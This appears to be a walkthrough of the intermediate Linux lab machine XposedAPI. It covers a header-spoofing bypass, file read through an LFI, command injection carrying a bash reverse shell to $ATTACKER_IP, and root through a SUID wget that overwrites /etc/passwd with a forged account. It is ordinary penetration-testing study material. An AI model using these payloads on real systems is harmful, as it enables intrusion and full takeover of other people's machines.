Skip to content

XposedAPI Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

XposedAPI exposes an internal management API meant only for localhost. An X-Forwarded-For header bypasses its IP restriction, an LFI endpoint discloses its source code, and unsanitized input in an update endpoint gives command injection. A SUID wget binary then overwrites /etc/passwd for root.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sCV $TARGET_IP
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH
13337/tcp open  http    Python/Flask
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 13337 serves an API management interface, with a banner warning that it is “not meant to be exposed to remote users.” Its documented endpoints include /logs and /update.

Exploitation

WAF bypass with X-Forwarded-For

/logs returns 403 Forbidden remotely. Spoof the client origin to satisfy the IP check.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:13337/logs -H "X-Forwarded-For: 127.0.0.1"
404 Not Found
Explain command
-H Set an HTTP request header.

A 404 instead of a 403 confirms the IP restriction only checks this header, not the real client address.

LFI to source disclosure

/logs also accepts a file parameter.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:13337/logs?file=/etc/passwd" -H "X-Forwarded-For: 127.0.0.1"
root:x:0:0:root:/root:/bin/bash
<snip>
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/bash

Arbitrary file read. Pull the application’s own source code.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:13337/logs?file=./main.py" -H "X-Forwarded-For: 127.0.0.1"
os.system("curl{} -o /home/clumsyadmin/app".format(data['url']))

The /update endpoint passes the request’s url field straight into os.system() with no sanitization.

OS command injection via /update

Start a listener, then inject a reverse shell through the url field.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl -X POST "http://$TARGET_IP:13337/update" -H "Content-Type: application/json" -d '{"user":"clumsyadmin","url":"http://$ATTACKER_IP:8888/test; bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"}'
clumsyadmin@xposedapi:~$ id
uid=1000(clumsyadmin) gid=1000(clumsyadmin) groups=1000(clumsyadmin)

Shell as clumsyadmin and local.txt.

Privilege Escalation

SUID wget to overwrite /etc/passwd

Search for SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/wget

wget is SUID and can write files as root. Per GTFOBins, overwriting /etc/passwd with a new UID-0 entry gives root. Generate a password hash for the new user.

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 -salt user3 pass123
$1$user3$rAGRVf5p2jYTqtqOW5cPu/

Build a modified passwd file based on the target’s own, with an extra root-level entry appended.

user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root:/root:/bin/bash

Host it and overwrite the target’s copy through the SUID binary.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
┌──(kali㉿kali)-[~]
└─$ wget -O /etc/passwd http://$ATTACKER_IP/passwd

Switch to the new UID-0 account.

┌──(kali㉿kali)-[~]
└─$ su user3
Password: pass123
root@xposedapi:~# id
uid=0(root) gid=0(root) groups=0(root)

The forged /etc/passwd entry gives a root shell.